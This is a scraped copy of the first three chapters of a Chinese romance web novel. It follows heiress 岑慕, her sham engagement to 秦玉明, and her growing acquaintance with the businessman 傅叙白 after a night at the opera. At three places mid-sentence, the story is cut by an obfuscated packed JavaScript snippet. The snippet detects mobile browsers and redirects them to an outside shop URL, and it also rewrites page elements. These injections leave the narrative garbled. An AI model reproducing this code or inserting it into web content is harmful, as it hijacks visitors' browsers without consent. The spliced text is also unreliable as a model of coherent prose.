《掌上明珠》 1. 翡翠绿叶竹 下午六点,外面悬挂着赤红晚霞。 窗外热气黏腻,屋内一片凉爽。 冰块投入薄荷酒,凉气在杯壁弥漫起淡淡雾气。 岑慕低头发着呆,纤细指尖若有似无的摩挲在杯沿上。 她手指生来漂亮,白嫩纤细,一看就是养尊处优的主。 见她发呆,江卉坐在她对面,问她:“在想什么。” 像是忽然回神,岑慕抬头轻轻一笑,回道: “没什么。” 江卉看她发呆,就知道她内心所想。 二人好友多年,岑慕心中的想法,总是逃不过她的眼睛。 “听说那戏园已经装修好了。”江卉喝了一口自己手上的莫奈花园,忽然发现酸味过重,吐了吐舌,又把自己这杯酒放回桌上,漫不经心地闲聊道,“秦玉明前段时间不见人影,是不是就在忙这件事情?” 岑慕撇唇,小声道: “大概是。” 江卉冷哼:“那天我路过,看到牌子装修的倒是大气,就是名字土气,叫什么荔园,生怕不知道他那私下的小情人就是唱戏的角,就连名字都带着人家的,还真是浓情蜜意。” 岑慕被她逗笑,“你那么生气做什么?” 江卉:“我是为你抱不平,这秦玉明到底什么眼光,放着你这金枝玉叶的大小姐不要,偏偏喜欢旁人,简直令人恼火。” 岑慕一口气喝光杯中的薄荷酒,发现自己这杯酒被调的还不错,心情愉悦道: “我也不喜欢他,若是他能早点跟爷爷父亲挑明事实,也省的我跟他继续演戏。” 江卉调酒技术不错,姐妹二人聚在一起的时候,经常会小酌几杯闲聊瞎扯。 “他既然有喜欢的人了,怎么不直接跟家里面明说?”江卉问她。 岑慕:“不清楚,大概是怕家里面不同意。” 江卉这时候明白了。 秦玉明心里面有负担,私下虽然爱的火热,表面上却不敢跟家里面摊牌。 她倒是听说过秦家内部,秦老爷子一手遮天,完全说一不二,并且他格外喜欢岑慕,若是被老爷子知道二人的婚约被秦玉明搞砸,估计秦玉明在家中的地位只会一落千丈。 想到这,江卉哼笑,“看来再喜欢,也抵不过一个钱字。” 岑慕:“这倒是真理,不过话又说过来,谁不爱钱呢。” 江卉:“亏我之前还觉得他清风明月,是个难得的君子。” 秦玉明本人跟名字倒是很搭调。 长相温润如玉,看起来有如翩翩君子,外表堂堂正正,跟圈子里面那帮有钱爱玩的公子哥完全不一样。 江卉第一印象对秦玉明还挺好的。 虽然知道他跟岑慕也就是配合着演戏,一起糊弄着家里面长辈,可她也猜想过几次,若是二人真的能结成姻亲,也是好事一桩。 毕竟秦玉明是家中长子,虽说他家老爷子性格是霸道了些,可若是秦玉明把他哄开心了,之后秦家的产业肯定大半归他。 这也是秦玉明不想挑明真相的理由。 岑慕漂亮,又是岑家的掌上明珠,家里人格外宠着,若是与她关系破裂,对自己只有害无利。 可转念一想,他秦玉明想的也太美了些。 岑慕就算身份再下降个八十个档次,也不至于在他这里委屈。 想到这,江卉正要发火。 岑慕缓缓开口,冷静道:“我总要找个正当理由。” 江卉不解:“嗯?” 一开始岑慕答应跟秦玉明婚约这事儿,也是被逼的烦了,所以想着干脆应付应付。 秦玉明对她挺尊重的,没事儿的时候基本不联络,等到需要吃饭见面的时候二人配合又打的极好。 她自然没傻到要心甘情愿的去当秦玉明的保护伞,可要是这件事情撕破脸,下一个“秦玉明”就要出现了,估计她又要头疼。 近两年家中开始着急她的婚事,岑慕也是苦不堪言。 前两年分明都是好好的,可爷爷身体忽然抱恙,怕错过岑慕的人生大事,这才开始给她介绍良婿。 秦玉明算是不错的人选,家风好,人也正派。 他私下浓情蜜意的那些事情也很少有人知道。 岑慕倒是不在乎,反正她也没打算跟秦玉明结婚,跟他也只是缓兵之计。 爷爷住院那段时间,小姑姑正好从国外回来。 看见小姑到了医院,岑学林脸色铁青,差点就要轰她出去。 可好歹是自己女儿,那么久不见,多少还是想她的。 岑涵易是彻底的单身主义,这么多年都在国外无拘无束的玩着,今年是得知父亲生病了才匆匆赶回来。 见老爷子看自己不顺眼,岑涵易便悄声对岑慕说道: “看到没有,这就是对亲孙女和女儿的区别。” 岑慕是家中独女,艺术修为又得天独厚,所以老爷子格外喜欢她。 岑涵易表面羡慕,实则打趣。 她如今都四十多岁了,自然没人能逼着她结婚了。 可惜如今这压力都要转移到岑慕身上。 见岑慕略有怨言,当时岑涵易还专门哄了哄她,“好了,别不开心,这次我回来会待很久,你有什么喜欢的东西,随意开口跟姑姑说,我都买给你。” 岑慕:“都可以?” 岑涵易:“当然。我最近看中了一些玉器,你是要白玉雕佛手摆件,还是要鸳鸯山水玉插屏?” 岑慕略微思索,然后抿唇一笑:“我都要。” 岑涵易顺着她,“好好好,你既然喜欢,那姑姑就都买给你。” 这么多年,岑慕是家中唯一的女儿,被宠着惯着也是常有的事情。 在一般有钱家庭女儿柜子里面还在收集各类奢侈品包包鞋子的时候,岑慕的收集品早已变成了价值连城的玉器首饰和古董。 岑家是艺术世家,所以对于岑慕的影响也很大。 在长辈们的耳濡目染下,她的欣赏水平从小就高于同龄人,在很小的时候就拜师学艺,如今也算是小有成就。 所以江卉此刻才为岑慕抱不平。 这个秦玉明,当真是有眼无珠。 最重要的是,若是想谈恋爱,大大方方的去谈就好了,何必让岑慕处于这种尴尬境地。 可偏偏当事人并不是很在意。 她唇角微弯,从包里面递出来两张门票放到桌上。 “这是什么?”江卉问道。 “今晚听戏的门票。” “秦玉明给你的?” “是我向他要的,本来他是只打算给一张的,后来我想着你应该也有兴趣,便多要了一张。” 江卉忍不住挑眉。 “怎么样,今晚有没有兴趣同我一起?” 这种能够凑热闹的事情,江卉自然感兴趣。 她收下门票,笑道:“好啊,那我就跟你一起。” 闺蜜二人这么久,不用岑慕多说,江卉也知道今晚唱戏的主角是谁。 - 荔园。 秦玉明花了大价钱,这戏园的确装修的大气斐然。 进入园内,璀璨灯光从窗户缝隙中照射而出。 灯光设计巧妙,舞台空间也足够宽敞,观众区来的人不少,大多是圈内熟人。 毕竟开业没多久,大家都是来捧场的。 岑慕拿到的门票,还是VIP专座。 一落座,就有服务员专门送茶水点心过来。 江卉喝着茶,简单点评道: “秦玉明还真是财大气粗啊。” 岑慕:“来捧场的人不少,估计不会赔本。” 江卉视线微微侧移。 VVIP最中间坐着一位,貌似有些眼熟。 她见过这男人几次,接触机会却不多,但江城名流之首,必有傅叙白的名字。 他身穿面料高级的白色衬衫,气质矜贵清隽,眉眼带着精致俊美。 男人手腕间戴着一块百达翡丽的手表,腕骨明显,手指修长骨感,腕口纽扣设计精巧,突显品味不俗。 见今日就连傅叙白都来这边听曲了,江卉歪头跟岑慕打趣: “看来今晚主角面子大,就连那位都来了。” 顺着江卉视线,岑慕往右方看去。 傅叙白倒是不怎么出现在众人眼前的。 毕竟他家大业大,平日工作也忙,娱乐场所难得见他身影。 不过听说他喜静,偶尔也会来听戏曲。 岑慕勾唇一笑,“秦玉明真是用心良苦。” 她跟傅叙白碰面机会不多,之前在宴会上见过几次面,家里长辈介绍的时候,都拿她当小孩子,傅叙白听的时候不知道在没在意,还记不记得她这号人。 不过岑慕对他倒是有几分印象。 江城名流圈子里面,傅叙白是难得的好面相。 他年纪轻轻,就做到了掌权人的位置,操控着整个家族的兴衰,与秦玉明这种需要看家中长辈眼色的角色截然不同。 不过听传闻,这人在商场上一向狠绝无情,做事也干净利索,所以才站的这么稳。 但他本人,跟传闻中貌似也有些不同。 男人背脊挺直的靠坐在椅子上,像是高雅挺拔的竹。 他只是安静的坐在那边,偶尔低声与旁人交谈几句,看不出来丝毫戾气。 岑慕正出神,就看见旁边送茶水点心的服务员走到她面前,恭敬道: “岑小姐,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13664656|144071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是秦先生为您准备的吃食。” 岑慕随意睨了眼,然后说道: “好,放下吧。” 待服务员走后,岑慕随手拿了块椰蓉荷花酥放到嘴巴里面。 见这点心样子漂亮,江卉问她:“味道如何?” 岑慕嫌弃的放回盘子里面,略带怨气,“难吃!” 江卉被她逗笑,哈哈几声,“看来这个秦玉明,还真的是不识好歹,就连送点心都不知道你口味,果真是臭男人。” 她笑的声音稍微大了些,引来旁人注意。 只不过那人只是略微侧身,眼尾视线浅浅睨过来一眼,并无太多反应。 等待一阵,台上戏即将开场。 江卉问她:“你以前来听过戏没有?” 岑慕:“很少。” 江卉:“我还以为你会对这种艺术感兴趣。” 岑慕托腮看向台上。 “我哪里有秦玉明有雅兴,对于这方面,我只能说是一窍不通了。” 后来人上台了,岑慕也得以见到秦玉明的心上人。 唱昆曲的女孩儿一颦一笑都带着灵性,唱腔柔美,动作流畅,看着令人挪不开眼睛。 岑慕当时心想,这女孩儿真漂亮。 秦玉明确实是个有眼光的。 台上人唱着《牡丹亭》,纵使岑慕对这方面不感兴趣,但也着迷地看了许久。 江卉小声在她耳边说道: “确实很漂亮。” 岑慕没否认。 “对啊。” 江卉:“你说,男人是不是都喜欢这一款?” 岑慕还没回应,视线瞥到右边那男人。 这个角度看过去,只能看到他的侧颜。 男人睫毛轻轻垂下,在眼睑下覆盖出一片阴影,鼻梁挺直,指尖淡淡点动在旁边的红木扶手上,看起来颇为专注。 就连这样的大人物,都喜欢听她的戏。 岑慕轻哼一声,“应该是。” 江卉后知后觉发现自己可能说错了话,又补充了句,“不过没你漂亮。” 她这话不是阿谀奉承,而是真心话。 岑慕的确是数一数二的漂亮,基因优越,又是从小富养长大的,属实是一朵人间难得的富贵花。 她的漂亮,不单单是外表那么简单。 虽然二人是好友关系,家庭条件相差不大,可江卉家中还有一个哥哥,不像岑慕是掌上明珠,没她那么得宠,偶尔心中也有落差感。 岑慕确实不在意谁更漂亮这件事情。 她又不喜欢秦玉明,管他找的人是漂亮还是丑陋。 听戏过程没岑慕想的那么漫长,不过江卉中途临时接了个电话,说是家中有事,要赶快赶回去一趟。 岑慕点头,让她先回家。 就算是好友离开,岑慕也一个人把戏听完了。 等到听完戏,这边也散场了。 秦玉明不知何时出现,主动走到岑慕跟她低声说了几句。 岑慕心不在焉的回应着,想着秦玉明竟然还真的敢过来。 后来秦玉明轻抬下颌,对她说道: “你稍等。” 他迈开步子,往前走去,温声打着招呼,“傅老板。” 他声音恭敬,看起来对面前这人很重视。 被他称呼为“傅老板”的人转身,往二人这睨来一眼。 岑慕坐在原处,本打算等秦玉明聊完,便跟他打开天窗说亮话,问问他这是什么情况。 结果秦玉明那边看起来倒像是聊尽兴了,许久都没聊完。 岑慕耐心有限,也不是甘愿一直等着的主。 等了一会儿,见他没有聊完的意思,便转身离开。 她离开没多久,秦玉明回头看了眼,然后对傅叙白说道: “我那边还有事情,傅老板,先失陪。” 傅叙白应道:“忙你的。” 秦玉明进了后台那边,去忙自己的事情。 隔壁茶桌。 端过去的点心基本没动,那块被咬了一口的椰蓉荷花酥被很任性的丢弃在一侧,缺失的那一口很小,让傅叙白忍不住想起她吃这点心的那一幕。 巧的是,她表情皱成一团,嫌弃扔点心的时候,傅叙白正好看到。 桌边还立着一把油纸伞。 伞上绘着翡翠绿叶竹,栩栩如生,别具一格。 戏园内静了下来,便能听到窗外淅淅沥沥的雨声。 傅叙白微微抬手,招呼来助理。 助理走到他面前,问他有什么指示。 傅叙白淡声道:“那把伞,拿出去送给岑小姐。” 雨下的大,她走的又急。 此刻应该还没走远。 2. 朦胧细细雨 助理拿着伞,走到门口,把她的伞物归原主。 岑慕走得急,临走到门口,才想起来自己忘带伞了。 外面雨势不小,噼里啪啦落在地上的雨点有些许打在她的鞋上,她略微收脚,避免染上淤泥。 就在她转身想要回去取伞之际,发现自己的伞已经被送过来了。 来人是助理,说是傅老板让她把伞送过来的。 岑慕微微诧异,歪头,“傅老板?” 助理:“对,我们老板看你走得急,忘带伞了,就让我把伞给你拿出来了。” 岑慕估摸着刚才他应该是看到她了。 二人好歹见过几面,他不至于不认识自己。 她道了声谢,就让助理回去了。 助理完成任务,回到傅叙白身边,轻声说了几句。 傅叙白没太在意,稍作停留之后,转身往外走。 但他走到门口,发现那边还伫立着一人。 她站在门檐下,白皙手腕处撑着一把绘着绿叶竹的油纸伞,白樱色缎面提花布料包裹着玲珑有致的纤细身材,身上的裙子走线工整精巧,刺绣繁复用心,月光层层叠叠浸润在她身上,与周围景物相比,她背影格外出众。 大概是听到脚步声,岑慕不自觉回头。 见到傅叙白身影,岑慕并不意外。 她好歹是艺术世家长大的千金大小姐,就算是看到再有钱的人物,背脊始终是挺直直的,视线也不避不躲。 傅叙白往前走了几步,然后停留在她身侧。 “还不走?”十分自然的清淡问话从男人唇中而出。 他单手插兜,走过来的瞬间,袭到鼻尖是一阵好闻的乌木沉香。 岑慕鼻翼微动,闻出来这款香水的味道。 前调是清爽宜人的葡萄柚,后调是温柔的木质香。 傅叙白品味还不错,这种略微清淡的香水味道正适合他。 话音落下,身侧便传来声线灵动的答复: “雨下太大了,我还是等等再走,而且傅老板专门给我送伞,我当面答谢才算是礼貌。” 她倒是会说话。 傅叙白唇角微微拉扯,“助理送的,不用那么客气。” 岑慕反驳:“那也算是傅老板一片好心。” 傅叙白有些意外这小姑娘牙尖嘴利的。 之前几次见她,她在宴会上都没怎么说话。 大概是年纪小,少女心事多,长辈在的场合,她多数都闭着嘴,生怕说些不该说的。 岑家长辈有时候会叫她过来打个招呼,岑慕便乖乖地站在他面前,很礼貌的喊一声“傅先生”。 傅叙白跟她接触不多,只知道她是岑家的千金,而且还是秦玉明的未婚妻。 外面雨下的不小,岑慕一个人站在门口,秦玉明却不见踪影。 傅叙白随口打趣一句,“未婚夫这么没眼色?” 岑慕轻笑:“他哪有空管我啊。” 她笑的自在,不像是不开心,听起来更像是揶揄。 黑色迈巴赫停在门口。 助理在男人身侧替他打着伞,低声道: “傅总,晚上还有视频会议,我们该离开了。” 雨珠滴坠在伞上,声音清脆。 傅叙白却不急,他眉峰微扬,声线清淡道: “无妨,先送岑小姐回家 。” 说完,他转头看向身旁的人,“既然未婚夫不在,那我先送你回家。” 岑慕本想着等雨小点再走,或者打电话叫家里面司机过来,可那样未免太折腾了。 于是,她利落的应道:“好啊,那就麻烦傅先生了。” 司机下车替他们打开后排车门。 岑慕动作落落大方,径直往车门那边走去。 她经过瞬间,漆黑长发被微风吹拂,丝丝漂浮在他腕间,触感柔软。 傅叙白垂眸望了眼,然后随她一起上了车。 …… 车上。 岑慕轻呼一口气,擦了擦脸颊上不小心沾到的雨水,“这场雨来的还真是猝不及防。” 傅叙白:“嗯,天气预报没说。” 岑慕转头看身旁男人。 上车之后,这人就极具分寸感的坐在了另一侧。 虽然身在同一空间,二人的距离却很远。 岑慕心里有数,傅叙白送她大概就是看在面子上。 毕竟他跟岑家长辈认识,按理来说,他也是把她当做小辈来对待的。 不过她倒是听过家里长辈聊天,傅叙白虽然行事稳重,但今年也不过二十九岁。 岑慕在心中认真的算了下,那要是按照年龄来算的话,这人也就比她大个六岁。 在她出神之际,傅叙白只是坐在身侧保持安静。 她转头看向窗外,发现雨势竟奇妙的小了不少。 朦胧细细雨浇在车窗上,模糊了窗外风景。 岑慕收回视线,然后主动跟傅叙白攀谈起来,“傅先生喜欢听戏?” 傅叙白:“有时间的话,偶尔会来听一听,不过今天会来,也是收到秦玉明的邀请。” 岑慕:“怪不得,今天台上的那位,唱的很好听吧。” 闻言,傅叙白扯唇轻笑,不甚在意地回道:“还好。” 岑慕:“秦玉明没跟你提过那位?” 傅叙白:“没有。” 他停顿两秒,然后轻声道: “不过看你倒是分心,跟你那朋友聊了很久,不喜欢还要来,是不是也是被你那未婚夫邀请来的?” 岑慕有点惊讶。 她自认为还算是有素质,跟江卉说话的声音也很小,绝对不会打扰到别人。 没想到,傅叙白竟然注意到她们这边了。 她当时还以为他看戏看的很专注,没想到,他也分心了。 见岑慕眸子圆睁,傅叙白淡淡解释道: “喝茶的时候,偶然看到你那边了。” 岑慕撇唇,说了实话,“我的确是不太感兴趣。” 傅叙白浅笑。 他是聪明人,别人的私事,他向来懒得参与。 不过秦玉明那点事儿,他倒是有所耳闻。 今日岑慕坐在他车上,忽然提及这事儿,不知道是不是争风吃醋,傅叙白缓了缓声,像是故意转移话题,视线挪到她脚边的那把油纸伞上,“这是你画的?” 岑慕点头:“对。” 她的绘画风格,很有个人特色,也颇具灵性。 傅叙白之前倒是听说过她有这个爱好,所以一眼便能看出来这是她亲手所绘。 话题既然聊到这里了,岑慕便顺势客套道: “傅先生要是喜欢,改天我送你一把。” 司机在前面沉默的开着车。 车内只有雨点敲击车窗的清脆声响。 男人食指搭在额边,视线懒散睨来一眼,随口应道: “好。” 当时傅叙白并未把这件事情放在心上。 他那时候想着,无非是一把油纸伞,想买随时就有,但若是岑慕想送,他也不好拂了她的面子。 但他后来才知,岑慕送他的那把伞,却是天底下独一无二,再无可复制的心意。 车程不算太久,只用了二十多分钟,就把岑慕送到家。 她住的这地方,是江城一处有名的园墅。 透过车窗,可以看到园内耸立的树木和高挑的檐角,雕花木门半开,园内恢弘大气,青石小路一眼望不到尽头。 岑慕下了车,站在车前弯腰看傅叙白,“谢谢你今天送我回家。” 车窗摇了下来。 傅叙白坐在车内看她,“今天下雨,我就不进去叨扰岑老了,改天再来拜访。” 岑慕:“好,那你路上小心。” 雨夜中的迈巴赫并未多做停留,把她送到门口之后,便毫不留恋的开车离去。 岑慕呼出一口气,然后打开伞,往别墅内走去。 走过很长一段小路,她才进入家中。 长廊墙壁悬挂着一副拍卖得来的高价浮雕山水画,还是岑慕十八岁生日那年,岑老爷子专门为她拍下来的。 客厅里面静悄悄的。 保姆阿姨接过她手中的伞,轻笑道: “外面下了雨,刚才夫人还念叨着你怎么还没回来。” 岑慕身上没什么雨意,反而还很干爽,她往客厅内探头看了眼,问道:“我妈人呢?” “等你等了阵,后来等不住,上楼休息了。” 岑慕上楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13664657|144071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回自己的房间,按照惯例洗漱换睡衣。 一通流程下来之后,岑慕换好睡衣卧在床头刷手机敷面膜。 此刻心情才彻底好起来。 屋内香气是她喜欢的白茶香,睡衣款式也是前些日子刚购置的银蓝真丝吊带睡衣,躺在柔软的大床上,岑慕觉得这样在家当一辈子独生女也挺好的。 可惜岑家就她一个后代,要是她再不传宗接代,就真的要绝后了。 江卉预计她此刻应该到家了,发消息给她问她后续情况如何。 岑慕无奈地告诉她没有任何进展。 她本是想着等听完戏,跟秦玉明打开天窗说亮话的,可看秦玉明那架势,像是故意躲着她。 岑慕想了会儿,像是恍然大悟,猛然反应过来。 秦玉明不肯主动开口,也不愿意挑破关系,就是怕两家人为难他。 这时候她要是主动开口,被批评的人肯定是她。 本来好好的婚约被她破坏,这责任肯定到不了秦玉明的身上,到时候秦玉明顺理成章解除婚约,无理取闹的人反而变成她了。 岑慕一想到那场面,就觉得咽不下这口气。 可眼下她也没有他跟别人交往的证据。 岑慕胸口忍不住上下起伏,显然是被秦玉明气到了。 果然是诡计多端的男人。 不想还好,一明白秦玉明是这种想法,岑慕便着急要找他跟那唱戏女孩儿交往的证据。 她拜托江卉帮自己调查今日那女孩儿的消息,准备跟她见上一面。 江卉动作还挺利落的,恰好三日后有个饭局,是江城华誉三公子巩嘉言的生日宴,听说那三公子跟她认识,恰好也邀请她了 。 对于江卉忽然打听孟荔消息这事儿,巩嘉言还挺好奇的,“怎么忽然想起来问她了,你们认识?” 江卉笑笑,“听过她的戏,我是她粉丝。” 巩嘉言:“那巧了,我生日那天,你直接过来就行。” 三日后。 江卉拉着岑慕去参加生日宴,正好遇到孟荔。 孟荔遇到岑慕的时候,还挺坦荡的。 岑慕仔细打量她五官,发现这女孩儿五官精致秀丽,天生自带楚楚可怜气息,很是能引发男人保护欲,尤其是那双眼眸,勾人至极。 与她聊了几句,岑慕才得知,原来她和秦玉明并未开始恋爱关系,目前只是秦玉明单方面对她示好。 看来秦玉明还是谨慎的,不敢真的做出来什么出格事情。 可这隐形的绿帽,也是绿帽。 岑慕撇撇唇,喝了口面前的酒,对于一桌美味佳肴没什么兴趣。 孟荔显然不知道岑慕的身份,她初到江城不久,也不知道这圈子里面弯弯绕绕的人物关系,秦玉明跟她倒是走的近,只是也从未跟她提及过这些事情。 今天来参加巩嘉言的生日会,也是因为巩嘉言看过自己的戏,是她的粉丝,所以这才来捧场的。 岑慕没刁难孟荔,也没表现出恶意,反而孟荔对她很感兴趣,偏头打量着身旁这位千金。 刚才进来的时候,巩嘉言就介绍过来了,这位是江城有名的千金大小姐,岑慕。 她生的漂亮,长相清冷柔美,虽未施粉黛,可皮肤吹弹可破,生来就是天生丽质的样子,鼻子挺翘,皱眉的时候都带着清透灵巧的可爱。 巩嘉言跟她说了几句话,她大概是有些懒得回应,便敷衍的撩起眼眉,单手随意的把玩着手上的烟青玉手镯,偶尔会挑唇笑笑。 孟荔不自觉被她身上的骄矜气质吸引,本想试探着上前搭话一二,不料岑慕放在桌边的手机忽然响了起来。 她拿起来一看,是沈香薇打来的电话。 电话接通后,岑慕轻声道:“妈,我不是说今晚不回家吃饭吗。” 沈香薇认真道:“无论你现在在哪吃饭,抓紧回家一趟。” 岑慕百无聊赖地托起下巴,“怎么,家里面发生什么事情了吗?” 沈香薇:“家中来了很重要的客人。” 岑慕:“谁?” 沈香薇:“你之前见过的,傅氏集团的老板,傅叙白。” 岑慕指尖微顿,心下有些诧异。 傅叙白。 他竟然去她家中做客了。 3. 蒹葭倚玉树 岑慕回到家中,发现客厅那边聊得热闹。 她进去的时候,沈香薇正好回头看到她。 她放下手中筷子,微笑着走过来,“你终于回来了。” 话音落下,长桌旁几人视线看了过来。 岑慕往桌上睨了眼,今天做的菜不少,还有一些是她爱吃的,包括蝴蝶鲈鱼、话梅排骨还有花雕熟醉蟹。 由于是家宴,所以大部分都是家常菜。 她睫毛微动,然后视线挪到坐在对面的男人。 傅叙白今日穿的稍微正式,灰绿格纹领带搭配白色衬衫,西装裤阔挺笔直,脚上的黑色男士皮鞋一尘不染,姿态虽慵懒,斯文优雅的绅士感却是体现淋漓尽致。 他今天这身装扮,可比那日听戏的时候要正式不少。 岑慕忍不住在心中腹诽,果然像他这样的男人,更加适合穿正装。 见岑慕回来,傅叙白点头示意,“岑小姐,又见面了。” 沈香薇问道:“你们前阵子见过?” 傅叙白:“那天在荔园听戏,恰好遇见了,顺路送她回了趟家。” “原来如此……”沈香薇沉吟一声,对岑慕说道,“这件事情你怎么没跟妈妈说?” 岑慕小声:“又不是什么大事。” 沈香薇轻咳了下,“好了,坐下吧,就等你了。” 姑姑今日不知道去哪里参加聚会了,没看见她在家,所以家里面只有岑华、沈香薇还有岑老爷子在。 岑老爷子刚出院没多久,精气神还没完全恢复过来,不过他神态不怒自威,头发梳的规整,五官标正,年轻的时候也是个一表人才的艺术家。 岑家是艺术世家,祖祖辈辈都是搞艺术的,到岑慕这一代也没例外,她前段时间的画展还取得了很好的反馈,这件事情让岑老爷子宽心不少。 最起码,她比自己那个女儿岑涵易要懂事听话许多。 岑涵易这些年在国外疯玩,说是也举办了什么画展,成绩不菲,可明眼人都知道,她贪图享乐,男朋友都不知道换了多少个,岑老爷子一开始还气的不轻,后来发现管不住,索性不管了,最主要的原因是岑涵易是他唯一的女儿,若是真的把她逼急眼了,做出来什么出格的事情都没准。 岑老爷子对她睁一只眼闭一只眼的同时,便把更多的注意力放在岑慕的身上。 岑慕跟岑涵易不同,她乖巧懂事,从小就不让人费心,所以家里面的长辈都很喜欢她。 看见岑慕回家,岑老爷子主动招手,让她坐在自己身边。 岑慕坐回去,温声问道:“爷爷,今天身体怎么样了?” 岑老爷子笑了笑,“不碍事,一天比一天好,而且今天傅老板来家中做客,我心情也好了不少。” 傅叙白今天来岑家做客,主要是因为一些人情往来的事情。 虽说是艺术世家,可这两年岑华也开始闲不住出去做了点生意。 他手头上闲钱多,所以做生意也潇洒,只是这生意上的事情,他未必精通,所以很多事情还要依靠人脉来解决。 傅叙白跟岑老爷子关系不错,所以一般都帮忙的地方,都会帮忙。 刚才听岑慕说她跟傅叙白前两天见过面,岑老爷子便按捺不住对孙女的喜爱,自卖自夸道: “我这个孙女,从小就乖巧懂事,天性聪颖,不遗传她爸爸,倒是很像她奶奶年轻时候的样子,可惜她奶奶去得早,岑慕应该是没什么印象了。” 傅叙白轻微颔首,“我听说过岑小姐的名号,那个艺术展,很有名。” 岑慕默不作声的喝了口面前的橙汁,悄悄往傅叙白那边睨去一眼。 她想,傅叙白说的肯定是客套话。 像他这样的人物,怎么会有时间去关注她的展。 不过像他这样在商场上游刃有余的性格,说些漂亮话肯定是轻轻松松的。 她呼出一口气,把手中鲜榨的橙汁放到桌子上,准备吃饭。 刚才在外面,她没什么胃口,本来都不打算吃晚饭的,但是回来之后发现阿姨做了这么多色香味俱全的饭菜,又感觉来了胃口,心情也好了不少。 果然,只要远离让自己讨厌的有关事物,她一般心情都不会太差。 她视线略微一扫,沈香薇便知道她是想吃盘子里面的话梅排骨,主动把排骨夹到她碟子里面,顺便问道: “最近怎么没带秦玉明回来吃饭呢?” 岑慕刚有的好胃口,差点就被消磨了。 她幽怨地回头看她妈一样,回道:“怎么好端端地提起这人了?” “那怎么了。”沈香薇喝了口杯中的红酒,“好歹也是你的未婚夫,经常叫回家吃顿饭联络下感情也是正常的事情,而且今天傅老板也在,对了,傅老板也是认识秦玉明的吧?” 傅叙白放下手中筷子,唇角微挑,“嗯,我认识。” 沈香薇:“我们家这个准女婿,人品还是不错的,傅老板以后生意场上要是遇到了,可以多提携一二。” 傅叙白模样看起来清然大度,“好。” 岑华端起酒杯,主动说着:“傅老板是今天家中重要客人,我们一起干一杯。” 可怜岑慕口中的话梅排骨刚吃到一半,便匆匆忙忙的要放下筷子,跟着身旁长辈一起敬酒。 她看起来是有些饿了,唇瓣还带着点殷红色泽,看过来的视线懵懂纯然,像是纯净水一般。 傅叙白淡淡看她。 她今天的状态,比那日要好上不少。 他浅啜了口杯中红酒,像是忽然想到什么,把杯子放到桌上,轻声问道: “那日岑小姐许给我的礼物呢?” 此话一出,身旁的人都诧异。 沈香薇在桌下偷偷拽她衣角,问道:“什么礼物?” 岑慕想了两秒钟,像是忽然想起来了。 她那天在车上,的确说要送给傅叙白一把伞来着。 只不过这两天一直想着秦玉明的事情,她都把这件事情忘到脑后面去了。 难为傅叙白这么日理万机的人竟然还记得这桩小事。 岑慕脸颊微红,解释道:“制作油纸伞没那么快,傅先生要是心急,我就抓紧做好给你送过去。” 傅叙白明显着是在逗她,声音轻缓,还夹杂着浅浅笑意,“我倒不会心急,只是那天看岑小姐的伞别致漂亮,所以也想拥有一把,你若是忙,耽误几天也没关系,我等得及。” 沈香薇听着这话,捂唇笑着,“原来是这样啊,傅老板,你要是要这个礼物,可是要对了,我们家岑慕画出来的画,就是最漂亮的,肯定不会让你失望。” 傅叙白给面子的应承着,“我也是那么想的,毕竟岑小姐名声在外,能得到她的一把伞,也是我的荣幸。” 岑慕刚才被他那么一点拨,本来就脸红,此刻傅叙白又说了些漂亮话,她只感觉脸颊莫名烧得慌。 这男人嘴巴倒是灵,说起话来总是让人心里舒服,用头发丝想也知道,外面喜欢他的女人肯定很多。 只不过这人还挺神秘的,江城上流圈子总共就那么大,很多消息都是共通的,可她从来没听说过傅叙白的绯闻,也没见这人有什么花边新闻传出来,倒是知道有几个名门千金很中意他,想着嫁给他做太太。 岑慕在心里面好奇,像他这样的人,不知道生活作风如何,但看外表,倒是清风明月的正派。 聊了一阵生意上的事情后,岑老爷子又扯起日常,问傅叙白,“你今年也快三十岁,家里面没有催婚?” 傅叙白:“父母那边倒是催了催,不过我现在还没有喜欢的人,所以不着急结婚。” 岑老爷子:“早点结婚也是好事,你如今事业稳定,江城少有你这样性子稳重的年轻人,你事业发展的好,身边有个优秀的太太,对于你来说,更是如虎添翼,毕竟稳定和谐的家庭关系,对于男人来说很重要。” 傅叙白浅笑:“不强求,什么时候缘分到了,自然就结了。” 岑慕在旁边听着,心里面颇为羡慕他的婚姻观。 最起码他是家里面的掌权人,无论如何,没人能强迫他,他只要自己开心,想什么时候结婚都可以。 想到这,岑慕便觉得自己有些可怜。 她幽幽叹出一口气,专注的吃着碟子里面的排骨。 傅叙白距离她不算太远,听见她在旁边他叹气,忍不住看过去一眼。 很明显,岑慕在他眼光无非是小孩子,一举一动都带着稚气。 只是平日里面跟那帮聪明过头的人打惯了交道,偶尔接触下这种小女孩儿,只感觉坦率的可爱。 她方才叹气的时候,就差把心情不好几个大字挂在脸上了。 可偏偏周围都是长辈,她又不敢表现出来,只得化悲愤为食欲,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 